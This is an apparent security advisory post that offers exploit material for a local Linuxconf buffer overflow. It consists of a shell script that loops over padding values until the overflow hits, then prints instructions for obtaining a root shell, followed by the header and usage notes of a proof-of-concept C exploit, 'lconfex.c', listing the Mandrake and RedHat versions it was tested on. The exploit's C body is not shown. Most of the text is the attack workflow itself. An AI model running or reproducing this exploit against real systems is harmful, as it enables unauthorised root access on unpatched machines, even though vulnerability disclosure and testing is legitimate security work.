As we reported in our previous article: Linuxconf Locally Exploitable Buffer Overflow Vulnerability, a vulnerability in Linuxconf allows attackers to cause it to execute arbitrary code. The following is an exploit code that can be used to test your system for the mentioned vulnerability.
if [ -z $1 -o -z $2 ]; then
echo "sh $0 <&shellcode> <&padstring>"
exit
fi
if [ ! -f lconfex ]; then
echo "lconfex not found!!"
exit
fi
echo "Please wait for a while =).."
if [ -d segfault.eng ]; then
rm -rf segfault.eng
fi
until [ padstart = 600 ]
do
`./lconfex -s $1 -m $2 -r $padstart 2>tmp.junk`
if [ `grep "segfault.eng/segfault.eng" tmp.junk | wc -l` != 0 ]; then
echo
echo "GOT IT! Your magic number is : $padstart"
echo "Now create a dir 'segfault.eng' and touch a file named 'segfault.eng' in it."
echo "Then exec \"./lconfex -s $1 -m $2 -r $padstart\" to get rootshell"
echo
echo "*hint* : try play with -b <n> if not succeed. [ n = 0..4 ]"
echo " ie : ./lconfex -s $1 -m $2 -r $padstart -b 1"
echo
echo "Good Luck d0inks!"
echo
rm -f tmp.junk
exit
fi
padstart=`expr $padstart - 1`
done
echo "Sorry, can't find padstart no."
echo "Try to play with -a <1..4> option"
rm -f tmp.junk
lconfex.c
/* ------ Proof of Concept linuxconf buffer overflow ]---
* ------------------ by syscalls <fazlee@myseq.com> ]---
*
* This is a P.o.C exploit for recent linuxconf <= 1.28r3
* buffer overflow.
*
* On some distro, the overflow is pretty straight forward.
* While on some version, the eip could only be reached by
* providing specially crafted buffer. Thus, allowing an
* attacker to execute arbitary code.
*
* Tested to work on:
* Mandrake 8.2 (default rpm)
* Mandrake 8.1 (default rpm)
* RedHat 7.3 (linuxconf-1.28r3)
* RedHat 7.2 (lnuxconf-1.25r7-3) not suid root by default
*
* $ gcc -o lconfex lconfex.c
* $ ./lconfex -p // put some stuff to env
* $ ./lconfex -f // find its's addr
* $ sh handy.sh 0xcafebabe 0xdeadbeef // find padstart
* $ mkdir segfault.eng;touch segfault.eng/segfault.eng // =)
* $ ./lconfex -s 0xcafebabe -m 0xdeadbeef -r padstart
* #
*
* This exploit should work fine on all versions or distro.
*
* greetz : argv, ayobcfg, nullbyte, ra1st, peyjal (thx for handy.sh)
* staff@myseq, #unixhacker@webnet, #!udc@dalnet
*
* FOR EDUCATIONAL PURPOSES ONLY!
*
* Comments or whatsoever: fazlee@myseq.com
* http://www.myseq.com
*/
